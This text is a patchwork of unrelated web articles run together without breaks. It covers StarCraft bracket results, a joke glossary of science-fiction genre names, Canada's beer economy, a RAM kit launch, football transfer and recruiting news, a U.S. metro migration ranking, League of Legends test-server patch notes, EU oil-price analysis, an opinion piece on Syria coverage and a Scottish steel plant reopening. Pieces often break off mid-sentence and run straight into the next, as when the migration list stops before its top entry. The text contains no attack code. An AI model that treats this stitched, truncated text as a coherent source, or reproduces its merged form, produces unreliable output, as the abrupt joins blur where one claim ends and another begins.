Round of 32 (Bo1) Polt 1 SolO 0 desRow 1 Miszu 0 Suppy 1 MaSsan 0 Axslav 1 Crayon 0 Goswser 1 Jig 0 TT1 1 Practice 0 Illusion 1 Guitarcheese 0 Minigun 0 Giant 1 HuK 1 rkv 0 Drunkenboi 1 Kobu 0 Apocalypse 1 Sherklok 0 Xenocider 0 Deathblood 1 qxc 1 Akuji 0 WhatAmI 0 Shew 1 Kane 1 squidfingers 0 DeathEnD 1 Sleet 0 Round of 16 (Bo3) Polt 2 desRow 0 Suppy 2 Axslav 0 Goswser 1 TT1 2 Illusion 2 Giant 0 HuK 2 Drunkenboi 0 Apocalypse 2 Deathblood 0 qxc 2 Shew 0 Kane 2 DeathEnD 1 Quarterfinals (Bo3) Polt 1 Suppy 2 TT1 2 Illusion 1 HuK 2 Apocalypse 0 qxc 1 Kane 2 Semifinals (Bo3) Suppy 2 TT1 1 HuK 2 Kane 0 Finals (Bo5) Suppy 0 HuK 3
See Also [ edit ]What's in a name? Quite a lot, judging by the inability of science fiction fans to agree on what to call their favourite literary genre
SF? Sci-fi? Spec-fic? It's all just fantasy to me.
If there's one thing science fiction fans love, it's an argument. And if there's one argument they love more than all others, it's the attempt to define what science fiction actually is, and what is or isn't included in that definition.
David Barnett set fire to the dry tinder of the genre argument recently by declaring a preference for "sci-fi" over the generally more respectable "SF"? But, I hear the still sane among you declare, what does this even mean? And why should you care?
For the ever growing army of writers, bloggers, editors, critics, academics and just plain old obsessive fans of this thing that may (or may not) be called sci-fi, there is at least some method in this madness. Each name and definition reveals a different aspect of the immense creativity sheltering within sci-fi. Or SF. Or whatever the hell it's called!
So, here is a brief glossary of the various competing definitions of sci-fi. Much of this may reveal some bias on my part, so please feel free to correct me where I have strayed from the facts as you understand them.
Science fiction n by the late 1930s, stories featuring space rockets and robots had been around in the pages of pulp magazines for a long time. It was then that influential editor John W Campbell hit upon the brilliant marketing strategy of calling these stories "science fiction", thereby claiming a veneer of scientific credibility for the genre. The idea stuck, and is the reason many readers now insist science fiction must be based on real science.
Hard SF n not satisfied with claiming scientific credibility, many writers of made-up stories further distinguish their work by only making up stories based on ideas drawn from the hard sciences. In particular, physics. Unless, that is, they happen to need a faster-than-light engine to transport characters across the universe, in which case they just ignore physics all together. See also aliens, time travel etc.
Sci-fi n Star Wars made "sci-fi" big business. But for many, it is not true science fiction because it has no basis in science. In fact, most of what the general public thinks of as sci-fi is viewed with some disdain by science fiction fans, who dismiss the genre as "skiffy" and most of the films, books and games it includes as "fantasy" (see below).
SF abbreviation because science fiction fans didn't like "sci-fi", they started abbreviating what they did like to "SF". Pronounced "ess eff", not "sniff". Because no one knows what SF means, writers and fans are forever telling people it means "science fiction" before correcting people when they say, "Oh, you mean sci-fi," which tends to annoy both parties.
Speculative fiction n now things get complicated. Because lots of science fiction writers don't actually have any science in their SF, they call it "speculative fiction" instead. To make matters worse, even though it's specifically not science fiction, speculative fiction likewise gets abbreviated to SF. This has also become the default term for literary writers who want to write fiction with science in it, but without calling it science fiction.
So, to recap. Science fiction is a genre consisting of made-up stories with science in. Unless the stories are sci-fi, which doesn't have science but is what most people think of as science fiction. Unless it's called SF, of course, which most people think means "San
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of California, landscapes & reverberation. We didn’t even now that the Beach Boys were celebrating their 50th! Heureux hasard.”
Stream “Til I Die” below, exclusively on Cover Me.
There’s also a somewhat surreal video. “This video was shot in North Dakota on our way to Winnipeg, before the Canadian border,” they said. “We were looking for a bridge with lot of traffic, a never ending flow. But when we found the bridge there wasn’t the traffic we expected. So we decided to walk in the middle of the highway. A sunny no man’s land. The mood was perfect with the song.”
Check out more Housse de Racket at their website or Facebook. Photo by Mattia Zoppellaro.Beer economy in Canada supports 163,200 jobs
A report released today by the Conference Board of Canada in association with Beer Canada (formerly Brewers Association of Canada) says that 1 of every 100 Canadian jobs is supported by the sale of beer.
From Farm to Glass: The Value of Beer in Canada examines the national and provincial economic impact of beer, a heritage dating back to 1668.
“Canada is known globally for making great beer,” said John Sleeman, Founder and Chair of Sleeman Breweries Ltd. and Chair of Beer Canada. “But the impact of beer on Canada’s economy goes much further, supporting more than 160,000 jobs in every province and territory.”
Report Highlights:
The beer economy supports 163,200 Canadian jobs.
Economic activity in the beer economy accounts for 0.9% of Canada’s Gross Domestic Product and a combined $5.8 billion in federal, provincial and municipal tax revenues.
Every dollar spent on beer in Canada has a positive Gross Domestic Product multiplier effect of $1.12 net of taxes.
The brewing industry is bigger than Canada’s dairy products manufacturing industry and three and half times larger than Canada’s wine and spirits industries combined.
A 3.5% increase in beer exports has an inflation-adjusted $10.5 million impact on Canada’s Gross Domestic Product and generates 70 full-time jobs.
Beer has a positive impact on sectors that employ a higher proportion of young adults than the national average of all sectors.
“Our knowledgeable brewmasters are fortunate to have ready access to the high quality malting barley grown inWestern Canada and clean fresh water, two of the four key ingredients in beer,” continued Mr. Sleeman. “Brewers bring water and malt together with hops and yeast to make great beer which engages a value chain that creates jobs, economic wealth and tax revenues for every level of government.”
Canadians drink 23 million hectolitres of beer a year on average, about 80 litres on an adult per capita basis. Beer is the most popular beverage alcohol product, accounting for 45% of all beverage alcohol sales according to Statistics Canada.When you build a PC, you don't necessarily need the best and fastest. After all, most consumers have a specific budget with which to work. You don't want to blow your money on a top-of-the-line CPU and then buy no-name RAM or a flaky power supply. In other words, it is smart to balance things out.
But OK, if you do have a lot of money to spend, and you want the absolute best, I have some interesting news for you. Today, G.SKILL announces the world's fastest DDR4 32GB (4x8GB) RAM kit. Just how fast? An insane 4266MHz. Designed with special Samsung B-die DDR4 ICs, this RAM is made to work with the latest 8th Gen Intel Core processors. With that said, compatibility will likely vary from motherboard to motherboard, so keep that in mind when purchasing -- if you can even afford this kit.
"Just one week after the launch of the 8th Gen Intel Core processors and Z370 chipset motherboards, G.SKILL further fine-tuned the high-end RGB memory kits to reach even higher levels of overclocking speeds. Ever since the launch of Trident Z RGB almost a year ago, the largest capacity at DDR4-4266MHz was 2x8GB," says G.SKILL.
ALSO READ: Intel officially announces 8th Gen Core desktop processors
The famed RAM-maker further explains, "In combination with the ASUS OptiMem technology, which complements the T-Toplogy layout that uses equalized trace lengths, four-DIMM memory configurations have improved stability and increased frequency headroom. With the availability of this new optimization, G.SKILL is doubling the Trident Z RGB kit capacity to operate at DDR4-4266MHz CL19-23-23-43 32GB (4x8GB) at 1.4V."
As you can see in the image above (click to enlarge), the DDR4 RAM is totally stable at 4266MHz when used with an ASUS ROG Maximum X Hero and Core i5 8600K. If you are looking to build a new PC and want to be sure that this new G.SKILL kit will be compatible, you should definitely target those two components.
ALSO READ: Newegg makes it easier for consumers to build a PC
Unfortunately, you cannot buy this G.SKILL DDR4-4266MHz 32GB (4x8GB) Trident Z RGB memory kit today. Hell, you can't get it next month either. Actually, you must wait until an undisclosed date in December 2017 -- maybe Santa Claus will put it under your tree. Pricing is an unknown as well, but you should expect to pay big.David Silva, the Spain international midfielder, has had a change of mind about moving to England and is deliberating whether to choose Manchester City or Chelsea amid firm interest from both clubs.
Silva's reluctance to leave Spain was described as unflinching when City opened formal talks with Valencia at the end of last season but the player has gradually come round to the idea of playing in the Premier League, not least because of the realisation that Real Madrid's new manager, José Mourinho, is not keen on recruiting him.
Barcelona also have other targets, having already signed David Villa from Valencia, and Silva is now left with a choice of remaining at Valencia or moving to England. His representatives have informed Valencia in the last 48 hours that he would like to take the option of a transfer.
That now boils down to a straight choice between City or Chelsea depending on a financial arrangement being agreed with his current club. That, however, is proving far from straightforward, with Valencia asking around €40m (£33.2m), a fee that is considered exorbitant at Eastlands and Stamford Bridge.
City were the first club to register an official interest in the 24-year-old and have the financial power to offer more than Chelsea in terms of both the transfer fee and the player's salary, which currently stands at £3m a year and could easily be doubled if he were to join Roberto Mancini's team. Chelsea, however, have the lure of playing in the Champions League next season and of joining a club that has just deposed Manchester United as champions.
Silva is described as open-minded but it is understood he marginally favours Chelsea on the basis that City's reputation in Spain is not yet of one of Europe's more powerful clubs, at least not in football terms. The likelihood is that he will wait until after the World Cup in case a good tournament persuades Madrid or Barcelona to look into his availability.
City's pursuit of Silva partly originates from their knowledge that two of their more creative players, Robinho and Stephen Ireland, both want to leave the club this summer. Robinho, one of Brazil's more impressive players in the 2-1 defeat of North Korea, has made it clear he does not want to return to Manchester when his loan arrangement with Santos expires on 4 August and his representatives are due to meet the City chief executive, Garry Cook, to make that official. That meeting was due to take place today but will now be held next week.Factional tensions in the Victorian Liberal Party have reignited over a failed attempt by a group of 'Young Turks' to oust an MP aligned with Opposition leader Matthew Guy.
At a preselection battle for the rural seat of Narracan on Saturday, 65-year-old incumbent Gary Blackwood fended off a challenge by 25-year-old rival Stephanie Ross, a conservative pro-life campaigner and the partner of controversial Liberal numbers man Marcus Bastiaan.
Preselection candidate Stephanie Ross, Brighton Liberal James Newbury, and party numbers man Marcus Bastiaan. Credit:Twitter
The result is a victory for Mr Guy, who went to significant lengths to shore up support for Mr Blackwood – including announcing plans, one week before today's contest, to build a new West Gippsland hospital should the Liberals win government at the next election.
However, some view it as yet another failure by the Liberals to embrace the gender targets Mr Guy himself set last year, and a blow to the party's attempts to renew and regenerate ahead the 2018 Victorian election.These places have the highest net migration over five years. (Getty Images) In calculating the Best Places to Live, U.S. News factors in each metro area’s growth due to net migration over a five-year period. For the 2018 ranking, we used net migration data from 2012 to 2016 from the U.S. Census Bureau, the most recent complete data set at the time of our calculations. Places with the most growth might be attracting new residents thanks to a hot job market, affordable housing, a desirable location or some other factor. Read on for the 25 metro areas (out of the 125 most populous in the U.S.) that have grown the most over this period. 25. Seattle
25. Seattle (Getty Images) Best Places to Live 2018 Rank: 10
Metro Population: 3,671,095
Median Home Price: $403,650
Median Annual Salary: $61,170
Net Migration Rate, 2012 to 2016: 5.39 percent Seattle has long had a reputation for its strong job market, with the likes of Microsoft, Starbucks and Amazon headquartered in the area. Also scoring highly for desirability in the Best Places to Live ranking, Seattle isn't just bringing people to the area for work, but also because they want it to be their next hometown. Learn more about Seattle. 24. Dallas-Fort Worth
24. Dallas-Fort Worth (Getty Images) Best Places to Live 2018 Rank: 18
Metro Population: 6,957,123
Median Home Price: $210,181
Median Annual Salary: $50,350
Net Migration Rate, 2012 to 2016: 5.57 percent The largest metro area on this list, Dallas-Fort Worth grew by 5.57 percent in a five-year period. Despite its size, Dallas-Fort Worth has a median home price of $210,181, less than the national median price of $222,408. Learn more about Dallas-Fort Worth. 23. Asheville, North Carolina
23. Asheville, North Carolina (Getty Images) Best Places to Live 2018 Rank: 24
Metro Population: 441,724
Median Home Value: $234,576
Median Annual Salary: $40,330
Net Migration Rate, 2012 to 2016: 5.72 percent A smaller metro area that's appearing on the list for the first time as part of the 125 most populous metro areas in the U.S., Asheville earns its spot at No. 23 after growing 5.72 percent between 2012 and 2016 due to net migration alone. (*The median home price for Asheville was not available, so median home value is listed.) See more about Asheville. 22. Phoenix
22. Phoenix (Getty Images) Best Places to Live 2018 Rank: 19
Metro Population: 4,486,153
Median Home Price: $235,333
Median Annual Salary: $47,540
Net Migration Rate, 2012 to 2016: 6 percent Phoenix serves as a particularly hot destination for retirees. But the job market and ample outdoor activities continue to attract new residents of all ages. The area has grown by 6 percent over a five-year period. Learn more about Phoenix. 21. Jacksonville, Florida
21. Jacksonville, Florida (Getty Images) Best Places to Live 2018 Rank: 44
Metro Population: 1,424,097
Median Home Price: $184,508
Median Annual Salary: $45,140
Net Migration Rate, 2012 to 2016: 6.07 percent Sunny Florida weather, a below-average cost of living and a growing business district continue to attract residents of all ages to Jacksonville, which grew more than 6 percent due to net migration between 2012 and 2016. Learn more about Jacksonville. 20. Denver
20. Denver (Getty Images) Best Places to Live 2018 Rank: 3
Metro Population: 2,752,056
Median Home Price: $362,492
Median Annual Salary: $55,910
Net Migration Rate, 2012 to 2016: 6.12 percent Growing 6.12 percent due to net migration between 2012 and 2016, Denver continues to grow at a rapid pace, thanks to both its flourishing job market and high desirability among U.S. residents for its countless outdoor opportunities with the Rocky Mountains just a short drive away. Learn more about Denver. 19. Fayetteville, Arkansas
19. Fayetteville, Arkansas (Getty Images) Best Places to Live 2018 Rank: 5
Metro Population: 503,642
Median Home Price: $182,508
Median Annual Salary: $44,980
Net Migration Rate, 2012 to 2016: 6.44 percent Northwest Arkansas’s largest metro area continues to grow rapidly, by 6.44 percent over a five-year period due to net migration. Fayetteville’s growth is picking up speed as well – in last year’s ranking, Fayetteville saw just 6.09 percent growth due to net migration from 2011 to 2015. Learn more about Fayetteville. 18. Las Vegas
18. Las Vegas (Getty Images) Best Places to Live 2018 Rank: 80
Metro Population: 2,070,153
Median Home Price: $232,533
Median Annual Salary: $43,480
Net Migration Rate, 2012 to 2016: 6.46 percent One of the recession’s hardest-hit cities, particularly in the housing market, Las Vegas continues its upward trend with a growing job market and plenty of entertainment options to attract new residents. Learn more about Las Vegas. 17. Boise, Idaho
17. Boise, Idaho (Getty Images) Best Places to Live 2018 Rank: 23
Metro Population: 663,680
Median Home Price: $221,475
Median Annual Salary: $43,040
Net Migration Rate, 2012 to 2016: 6.47 percent Offering a different landscape than Las Vegas, Boise comes in at No. 17. Idaho’s capital grew by 6.47 percent between 2012 and 2016 due to net migration alone. Learn more about Boise. 16. San Antonio, Texas
16. San Antonio, Texas (Getty Images) Best Places to Live 2018 Rank: 14
Metro Population: 2,332,345
Median Home Price: $200,667
Median Annual Salary: $45,210
Net Migration Rate, 2012 to 2016: 6.53 percent The second of four Texas metro areas on the list, San Antonio has experienced significant growth due to net migration: 6.53 percent between 2012 and 2016. Learn more about San Antonio. 15. Houston
15. Houston (Getty Images) Best Places to Live 2018 Rank: 26
Metro Population: 6,482,592
Median Home Price: $216,575
Median Annual Salary: $52,870
Net Migration Rate, 2012 to 2016: 6.58 percent Staying in Texas, Houston takes the No. 15 spot on the list, having grown by 6.58 percent from 2012 to 2016 due to net migration. But with population growth comes a higher cost of living – the median home price is $216,575, nearly 9.6 percent increase compared to last year’s $197,628. Learn more about Houston. 14. Raleigh and Durham, North Carolina
14. Raleigh and Durham, North Carolina (Getty Images) Best Places to Live 2018 Rank: 13
Metro Population: 1,786,119
Median Home Price: $227,814
Median Annual Salary: $52,669
Net Migration Rate, 2012 to 2016: 6.63 percent Home to major universities – the University of North Carolina—Chapel Hill, Duke University and North Carolina State University – the Raleigh and Durham area has plenty of former students who are choosing to lay down permanent roots, while others are flocking to the metro region for the job opportunities the schools and other locally based corporations offer. Learn more about Raleigh and Durham. 13. Charlotte, North Carolina
13. Charlotte, North Carolina (Getty Images) Best Places to Live 2018 Rank: 22
Metro Population: 2,381,152
Median Home Price: $200,942
Median Annual Salary: $49,600
Net Migration Rate, 2012 to 2016: 6.64 percent Growing by more than 6.5 percent between 2012 and 2016 from people relocating to the area, Charlotte brings many newcomers due to its role in the banking industry, as it's home to Bank of America and major offices for Wells Fargo. Learn more about Charlotte. 12. Tampa, Florida
12. Tampa, Florida (Getty Images) Best Places to Live 2018 Rank: 75
Metro Population: 2,927,714
Median Home Price: $183,592
Median Annual Salary: $45,510
Net Migration Rate, 2012 to 2016: 6.67 percent The second of nine Florida metro areas on the list, this Gulf Coast metro area grew by 6.67 percent between 2012 and 2016 due to net migration. Learn more about Tampa. 11. Nashville, Tennessee
11. Nashville, Tennessee (Getty Images) Best Places to Live 2018 Rank: 11
Metro Population: 1,794,570
Median Home Price: $236,267
Median Annual Salary: $45,780
Net Migration Rate, 2012 to 2016: 6.7 percent With growth numbers like this, aspiring country singers certainly aren't the only people moving to Nashville. The largest metro area in Tennessee comes in at No. 11, having grown by 6.7 percent due to net migration between 2012 and 2016. Learn more about Nashville. 10. Melbourne, Florida
10. Melbourne, Florida (Getty Images) Best Places to Live 2018 Rank: 29
Metro Population: 560,683
Median Home Price: $163,042
Median Annual Salary: $46,520
Net Migration Rate, 2012 to 2016: 7.19 percent Growing 7.19 percent due to net migration between 2012 and 2016, Melbourne sees particular interest from seniors. The metro area’s median age is 47 years old, compared to the national median age of 37.9, according to the U.S Census Bureau. Learn more about Melbourne. 9. Lakeland, Florida
9. Lakeland, Florida (Getty Images) Best Places to Live 2018 Rank: 71
Metro Population: 637,691
Median Home Price: $160,583
Median Annual Salary: $40,180
Net Migration Rate, 2012 to 2016: 7.73 percent Located in the center of Florida’s peninsula, Lakeland is showing strong growth that mirrors the state’s other coastal metro areas featured on the list. Lakeland grew by 7.73 percent from 2012 to 2016 due to net migration alone. Learn more about Lakeland. 8. Charleston, South Carolina
8. Charleston, South Carolina (Getty Images) Best Places to Live 2018 Rank: 38
Metro Population: 728,271
Median Home Price: $232,983
Median Annual Salary: $44,500
Net Migration Rate, 2012 to 2016: 8.27 percent People love visiting Charleston, which is helping the South Carolina city's tourism industry boom. The Charleston metro area grew by 8.27 percent due to net migration over five years. Learn more about Charleston. 7. Daytona Beach, Florida
7. Daytona Beach, Florida (Getty Images) Best Places to Live 2018 Rank: 94
Metro Population: 613,723
Median Home Price: $164,069
Median Annual Salary: $38,010
Net Migration Rate, 2012 to 2016: 8.95 percent Daytona Beach’s growth from net migration between 2012 and 2016 nearly hit 9 percent. The coastal metro area attracts plenty of tourists to NASCAR races and local beaches, but plenty of these visitors also appear happy enough to make the place their next home. Learn more about Daytona Beach. 6. Port St. Lucie, Florida
6. Port St. Lucie, Florida (Getty Images) Best Places to Live 2018 Rank: 79
Metro Population: 446,728
Median Home Price: $179,058
Median Annual Salary: $41,120
Net Migration Rate, 2012 to 2016: 9.1 percent Located along the Treasure Coast, Port St. Lucie attracts people looking for a place with plenty of waterways to explore and, of course, the warm Florida weather. The Port St. Lucie area grew by just over 9 percent during a five-year period. Learn more about Port St. Lucie. 5. Orlando, Florida
5. Orlando, Florida (Getty Images) Best Places to Live 2018 Rank: 78
Metro Population: 2,328,508
Median Home Price: $213,717
Median Annual Salary: $43,060
Net Migration Rate, 2012 to 2016: 9.14 percent The home of Disney World and Universal Studios doesn’t just attract tourists hoping to see their favorite fictional characters up close, it also brings people who are planning to make this warm-weather destination their home. Learn more about Orlando. 4. Austin, Texas
4. Austin, Texas (Getty Images) Best Places to Live 2018 Rank: 1
Metro Population: 1,942,615
Median Home Price: $278,608
Median Annual Salary: $50,830
Net Migration Rate, 2012 to 2016: 10.25 percent Tech companies have been opening offices in this Texas metro area with particular focus following the Great Recession. Its affordability relative to the likes of San Jose and San Francisco is driving many people to Austin for work. It’s a hot enough destination that the metro area grew 10.25 percent over five years due to net migration. Learn more about Austin. 3. Sarasota, Florida
3. Sarasota, Florida (Getty Images) Best Places to Live 2018 Rank: 34
Metro Population: 751,422
Median Home Price: $224,613
Median Annual Salary: $41,870
Net Migration Rate, 2012 to 2016: 12.42 percent With a median age of more than 50 years old, Sarasota is a particularly attractive destination for retirees, even more so than other Florida locales. Sarasota grew by a whopping 12.42 percent in a five-year period due to net migration. Learn more about Sarasota. 2. Fort Myers, Florida
2. Fort Myers, Florida (Getty Images) Best Places to Live 2018 Rank: 41
Metro Population: 680,970
Median Home Price: $210,133
Median Annual Salary: $40,420
Net Migration Rate, 2012 to 2016: 14.16 percent After reigning as the fastest-growing metro area on the Best Places to Live list for the last two years, Fort Myers falls back to the No. 2 spot in 2018, beaten out by a newcomer to the list. Fort Myers grew by 14.16 percent over a five-year period due to net migration. Learn more about Fort Myers. 1. Myrtle Beach, South CarolinaSEE THE #MomProject ABOUT TURKISH MEDIA INDEPENDENCE
What with threats, physical attacks during demonstrations, and murders, Brazil continues to be one of Latin America’s most violent countries for journalists. Their difficulties are compounded by the lack of a national mechanism for their protection and a climate of impunity fuelled by ubiquitous corruption. The freedom to inform is far from being a priority for the authorities amid the high level of political instability, as seen in President Dilma Rousseff’s removal in 2016 and the uncertainty surrounding the 2018 presidential election. Media ownership continues to be very concentrated, especially in the hands of big industrial families that are often closely linked to the political class. The confidentiality of journalists’ sources is under constant attack and many investigative reporters have been subjected to abusive judicial proceedings.A small update has been pushed to the PBE, including various updates and changes to the upcoming,andskins as well as several tentative balance changes.Continue reading for more information!
(Warning: PBE Content is tentative and iterative - what you see may not reflect what eventually gets pushed to live servers! Manage your expectations accordingly. )
Table of Contents
Skin Updates
Today's patch includes a few changes for several of the upcoming skins in 5.9.
SSW Thresh who now has had sound effects added to his Recall (which unfortunately still includes the wonky texture on the cup).
Last up iswho now has had sound effects added to his Recall (which unfortunately still includes the wonky texture on the cup).
Balance Changes * Remember *: The PBE is a testing grounds for new, tentative, and sometimes radical changes. The changes you see below may be lacking context or other accompanying changes that didn't make it in - don't freak out! These are not official notes.
* Remember *: The PBE is a testing grounds for new, tentative, and sometimes radical changes. The changes you see below may be lacking context or other accompanying changes that didn't make it in - don't freak out! These areofficial notes.
Champions Annie
Attack Range reduced to 575 from 625 [ Note: Actually added in-game, previously air client only]
Hecarim
Rampage (Q) mana cost increased to 32/35/38/41/44 from 20/23/25/29/32
mana cost increased to 32/35/38/41/44 from 20/23/25/29/32 Rampage (Q) damage penalty against monsters removed (was 66%)
Desperate Power (R) [now notes it also increases duration of Arcane Mastery's effect to 4/5/6 seconds in tooltip. No functionality change.]
The unintentional and experimental changes to E and R have been reverted.
[Note: Scarizard and vLemon have confirmed these changes were both experimental and unilaterally added to the PBE. ]
Rapid Fire (Q) tooltip for passive now notes it has doubled effect of Explosive Charge (E) cooldown reduction when attacking a towers while Q is active.
Pillar of Ice (E) slow increased to 30/40/50/60/70% from 25/30/35/40/45%
[Note: Actually added in-game, previously air client only. #trundle2015]
Summoner Spells
The spell's true damage is now split between Mark and Dash from having all the damage on Mark. The total damage is still 20+ 10 per level but now 25% on Mark hit and 75% on Dash
E now matches his dagger and his R clone is also now functioning correctly!'s E now uses his weapon model instead of the base Mordekaiser weapon.Previews of theandupdates:has also received tweaks to both hishair and outfit colors. This is minor but the can thatholds in his hand is now green instead of blue.ARAM onlyCheck outfor acatch up with the individual update links below!Even though he was committed to Auburn since August 2011, Ohio State continued to pursue Lawrenceville (GA) Central Gwinnett LB Trey Johnson.
That persistence paid off, as Johnson verbally pledged for the Buckeyes at the Under Armour All-Amerca Game, after taking an official visit to Columbus for The Game back in November and shortly after decommitting from the Tigers following Gene Chizik's dismissal.
The 6-2/220 Johnson is rated as a consensus four-star prospect and is ranked as the third best inside linebacker in the nation, according to the 247 Composite Rankings. He chose the Buckeyes over Auburn, Florida, and USC, but also had offers from Penn State, Georgia, Georgia Tech, Oregon, Alabama, Clemson, Florida State, Notre Dame, South Carolina, Tennessee, and many other top programs.
Johnson is expected to provide immediate help to a linebacker group that will look to replace two starters, as it loses Zach Boren and Etienne Sabino for next season. He is likely going to play on the outside versus the middle in college, and if he is talented enough to learn all of MIKE, WILL, and SAM, there could be a legitimate opportunity for him to see the field in big-time minutes next season.
We will look to catch up with Trey to hear his thoughts on joining Buckeye Nation, so stay tuned to 11W for that and more on the Ohio State recruiting trail.
HIGHLIGHTS:“Treefort is certainly a music festival, featuring an incomprehensible 460 bands, but it’s also nine other festivals: Comedyfort, Filmfort, Hackfort, Yogafort, Storyfort, Alefort, Foodfort, Kidfort and Skatefort.” — Newsweek
“Treefort Music Fest is a five-day event that encapsulates the best of independent art, respectable rhetoric, and industry pioneering ideas, as well as crafts, culinary, clothing, and beverage options that stir creativity.” — Nanobot Rock
“Growing at an exponential rate for all the right reasons, Boise's Treefort Music Fest packs in a multitude of diverse bands and artists into a downtown area bred for good times.” — AudioHammock
“It’s so rare seeing a community just consume art like this, and it should be supported at all costs.” — UPROXX
“This is what Treefort is all about: the venues, the whole town taking part, and the fact that you never have to walk more than two miles to catch a band you’ve never heard of, but will soon fall in love with.” — Portland Mercury
“People are out to see the music, yes, but they are also simply stoked to be in a city that comes alive in such a big way for a few days a year.” — KUER/NPR Utah
“Treefort Music Fest is the festival we need, but don’t deserve” — Northwest Music Scene
“No one leaves Treefort disappointed, and everyone leaves with a new favorite artist.” — Oregon Music News
“I truly mean it when I say Treefort is for everyone, there is no scene, no pretense, no cool kids, or exclusionary vibe. It’s just nothing but goodness.” — UPROXX
“It’s refreshing to know such a perfect festival blueprint exists” — Portland Mercury
“The bigger festivals of the world, the ones that claim that female acts don’t sell or that it isn’t feasible to craft an inclusive, diverse lineup have a lot to learn from a festival like Treefort.” — UPROXX
“[Treefort] is easily one of the deeply-kindest festivals you could hope to encounter. You see this across the spectrum of events.” — Oh My RocknessOil prices fell to a 12-year low at the beginning of 2016. We find that the drop in the past two years was primarily driven by expectations. In fact, changes in oil prices since 2008 are increasingly explained by expectations. In the past, expectation-driven oil prices drops were good news for the EU economy. However, the declining importance of actual changes in demand and supply for oil prices raises doubts about whether we can still expect a positive impact on EU GDP.
By February 2016, the price of oil had fallen to about 30 USD —from about 100 USD per barrel in 2014. There are three possible causes: real changes in supply, real changes in demand and changes in expectations regarding the future oil demand-supply balance.
Oil supply continued to increase in 2015, as US shale oil production was more resilient than previously thought, and countries like Iran returned to the market. In addition, OPEC, a cartel of oil exporters, is not restricting supply. As a result, at the end of 2015, oil production had increased by about 3 percent compared to the 2014 average: from 86 to 88.5 million barrels per day. The International Energy Agency foresees that the world will be “awash in oil” in the near future[1]. This increasing supply put downward pressure on oil prices.
Figure 1: oil production 2014 vs. January 2016 in million barrels per day
Currently aggregate demand is sluggish. Growth in emerging market economies is slowing and macroeconomic risks in developed countries persist. This reduces oil demand and hence puts additional pressure on oil prices. Finally, price developments are not only explained by changes in real demand and real supply, but also by market actors’ expectations about the future demand-supply balance.
The impact of lower oil prices on the EU economy depends on the relative importance of these three drivers. We find that in the last three years about 12% of the oil price decrease can be attributed to a fall in aggregate demand and 15% to an increase in current oil supply. 73% of the price drop can be attributed to expectations about the oil demand and supply balance. This is the finding of an analysis based on Kilian (2009), where we decompose oil price shocks into these three elements by estimating a structural VAR model in which the oil price reacts – with some delay – to changes in monthly oil supply and a measure of economic activity. Essentially, we update the analysis of Kilian and apply it to the EU economy.
Figure 2: Aggregate oil price shocks from 2000 until 2016
Source: own calculation
What does this imply for the EU economy? Past experience has shown that the three components have structurally different impacts on the economy (see graph):
A supply shift has no significant impact on EU GDP within the following three years. Hence, the impact of increasing supply in 2015/2016 should not boost GDP.
Higher aggregate demand, that also caused oil prices to rise, let to even higher GDP 18 month later. Hence, the lower aggregate demand that caused oil-prices to decrease in 2014 and early 2016 should have a depressing effect on GDP – while the positive demand shock identified for 2015 should have an inflating effect on GDP. Overall, the magnitude of the negative aggregate demand shock should prevail.
Finally, expectations regarding the future oil demand-supply balance which drove down oil prices used to have a positive impact on GDP. Consequently, the observed lower oil prices, which are primarily driven by such expectations, might well be a good sign for the EU economy.
Figure 3: Effect of oil price shocks on EU GDP growth; GDP is measured in USD, seasonally adjusted and expressed in log differences
Source: own calculations Note: relative q-o-q percentage change of GDP due to a 1 percent change in oil price due to a supply/demand/expectation shock. The solid lines correspond to pint estimates; dotted and dashed lines identify one- and two- standard error bands, respectively.
The most striking result of this decomposition is that the role of expectations has dramatically increased since 2008. The data imply that that it is very unlikely (less than 5% probability) that oil prices after 2008 are driven by the same combination of factors as before 2008. In fact, expectations regarding the future oil demand-supply balance seem to have become the main driver of oil price changes. This would be consistent with a hypothesis that oil markets are becoming more detached from observable supply-and-demand fluctuations (one possible explanation being loser monetary policy).
In conclusion, the observed drop in oil prices should have a slightly positive in pact on the EU economy. However, this prediction presumes that past relations between oil demand, oil supply, oil prices and GDP still hold. In fact, the structural increase in the importance of expectations in oil price formation raises doubts about the stability of these past relations. The true impact of the oil price drop therefore remains to be seen — and could prove disappointing in the end.
Very helpful comments by Zsolt Darvas are gratefully acknowledged. All remaining mistakes are the author’s sole responsibility.
[1] https://www.iea.org/oilmarketreport/omrpublic/The US media coverage of the Syrian war is completely divorced from reality, award-winning American author and foreign correspondent Stephen Kinzer writes, adding that much of the US press is reporting the opposite of what is actually happening on the ground.
Americans have almost no real information about what is going on in Syria, and much of the blame for this lies with US mainstream media, award-winning US author and foreign correspondent Stephen Kinzer stresses.
"Coverage of the Syrian war will be remembered as one of the most shameful episodes in the history of the American press," Kinzer writes in his article for The Boston Globe.
© REUTERS / Abdalrhman Ismail Breakthrough: US, Russia Agree on Syria Ceasefire Starting February 27
"Americans are being told that the virtuous course in Syria is to fight the Assad regime and its Russian and Iranian partners. We are supposed to hope that a righteous coalition of Americans, Turks, Saudis, Kurds, and the'moderate opposition' will win. This is convoluted nonsense, but Americans cannot be blamed for believing it," the journalist underscores.
Incredible as it may seem, the American mainstream media is reporting quite the opposite of what is really happening on the ground.
To illustrate his statement Kinzer refers to the Aleppo takeover.
"Many news reports suggest that Aleppo has been a 'liberated zone' for three years but is now being pulled back into misery," the journalist notes.
But the stark reality is that the city has been run by violent Islamist militias, including al-Qaeda affiliate al-Nusra Front and Daesh fighters backed by Turkey and Saudi Arabia. They terrorized the locals, destroyed factories and smuggled the stolen machinery to Turkey.
US bombs hospital in Kunduz: "We'll investigate!/Ter
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construction, mining, oil production and heavy vehicle manufacture.
Liberty said the plant had already secured "a significant number" of orders for plate, particularly in the construction and energy sectors.
The deputy leader of North Lanarkshire Council, Paul Kelly, said the local community was "delighted" it was reopening.
He said: "It's been at the heart of our community for over 140 years, it's dominated the skyline and it's an integral part of what we're about as a local community.
"So the feeling really is one of optimism as we look to the future and how we can make sure this works out and creates employment opportunities."
'Spirit of partnership'
The Scottish government set up a steel task force after Tata announced it was mothballing its plants in Motherwell and Cambuslang, with a total loss of 270 posts.
The government later bought the mills and immediately sold them to Liberty.
Liberty House Group executive chairman Sanjeev Gupta paid tribute to the support of the Scottish government and Scottish Enterprise in helping the company rescue the plate works.
He said: "There is an impressive spirit of partnership here and a determination to give the Scottish steel industry a real future.
"From our side we promised we would get this important plant open again by the autumn and today we are proud to be fulfilling that promise."
He said the firm saw "great opportunities for investment in Scotland and regard this as a very fertile business environment".
